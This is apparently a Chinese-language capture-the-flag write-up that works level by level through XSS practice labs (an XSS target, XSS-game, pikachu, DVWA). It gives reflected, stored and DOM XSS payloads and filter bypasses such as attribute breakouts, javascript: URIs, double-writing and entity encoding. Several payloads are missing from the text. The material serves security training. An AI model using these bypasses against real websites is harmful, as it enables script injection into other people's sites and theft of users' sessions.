CTF-Web-XSS

XSS靶机

level1

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
## 若执行了alert,则执行以下语句
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

观察到URL为

http://192.168.64.2/xss/level1.php?name=test

整个PHP文件只有URL处有输入空间,且test直接在下列语句中显示

欢迎用户test

审计源码,直接显示test

欢迎用户".$str."";
?>

故payload为

http://192.168.64.2/xss/level1.php?name=

level2

keyword在php中为


审计源码,做了htmlspecialchars的过滤

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

此处无法xss

还有一处用到了keyword


需要闭合尖括号和双引号,因此payload为

http://192.168.64.2/xss/level2.php?keyword=">

php的htmlspecialchars

&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>

ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。

level3

没有找到和".htmlspecialchars($str)."相关的结果."."
"; ?>

需要绕过htmlspecialchars

payload

' onclick='alert(1)

onclick中使用javascript

# 使用js事件的onclick
onclick=alert(1)

level4

payload

" onclick="alert(1)

level5

">sad

href中使用javascript

xxx

level 6

没有做大小写过滤

payload

">"

level 7

发现只替换了一次,可以双写绕过

alert(1)

level 8

考察:字符的html实体构造方法

javascript:alert(1)

字符的html实体构造方法

&#+ascii码+;

如,表示s,用s(不要忘记分号)

即使js过滤了标签,后端接受到内容,依然会进行解码操作

level 9

错误尝试

http://"><javascript>alert(1)</javascript><

正确payload

把http://注释掉

javascript:alert(1)//http://hi

level 10

观察源码,需要通过get传递keyword和t_sort参数,其中t_sort为xss参数

payload

&t_sort=333" onclick=alert(1) type="text


# 下面是onclick在type后,但是不能alert

这里一定要onclick在type的定义前,具体原因未知

XSS-game

地址:https://xss-game.appspot.com/

level 1

直接在输入框输入


level 2

尝试level1源码,不行,留言板为空

注意到fuzz测试中没有过滤任何字符

尝试

2123

成功

level 3

注意到没有地方输入,只有URL随着图片切换进行变化

改变URL为

https://xss-game.appspot.com/level3/frame#' onclick='alert(1)

成功

level 4

?timer=3
Your timer will execute in {{ timer }} seconds.

pikachu

反射型XSS(get)

在输入框中输入


但输入框有长度限制

有两种方法

方法一,修改html中的最大长度限制


方法2,发现参数通过URL以get方式提交,故直接在URL处对参数进行赋值

反射型XSS(post)

没啥区别,用admin/123456登录进去,在输入框输入xss语句即可

存储型XSS

还是一样的

DOM型xss

进入源码,关键段为

<script>
function domxss(){
	var str = document.getElementById("text").value;
	document.getElementById("dom").innerHTML = "what do you see?";
}
//试试:'>
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text"  value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />

因此本题考察onclick时,怎么调用javascript

payload为

javascript:alert(1)

DOM型xss-x

代码中有提示,注意闭合语句即可

payload1

'>

payload2

' onclick="alert('xss')">

XSS盲打

由于输入的表单过去后,直接呈现在页面的标签中,而标签中可以执行javascript,因此直接输入以下语句即可。


XSS之过滤


XSS之htmlspecialchars

测试哪些字符被转码,输入

'"<>6666   

查看源代码

你的输入已经被记录:

'"<>6666

故单引号可以输入

' onclick='alert(1)'

XSS的fuzz字典(针对htmlspecialchars)

'"<>()6666   

xss之href输出

javascript:alert(1)

xss之js输出

输入james,可以看到返回的源码



在中间插入js代码的方式

payload

'

DWVA

XSS(DOM)

low

在URL处进行注入

http://192.168.64.2/dvwa/vulnerabilities/xss_d/?default=

median

选择English,查看返回源码

			<select name="default">
				<script>
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write(" + decodeURI(lang) + "");
						document.write("");
					}
					    
					document.write("");
					document.write("");
					document.write("");
					document.write("");
				script>
			select>

闭合和


high

English#

XSS(Reflected)

low


median


high

查看源码,对script进行了过滤

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

尝试编码绕过,失败

尝试onclick触发,成功

123

其他方法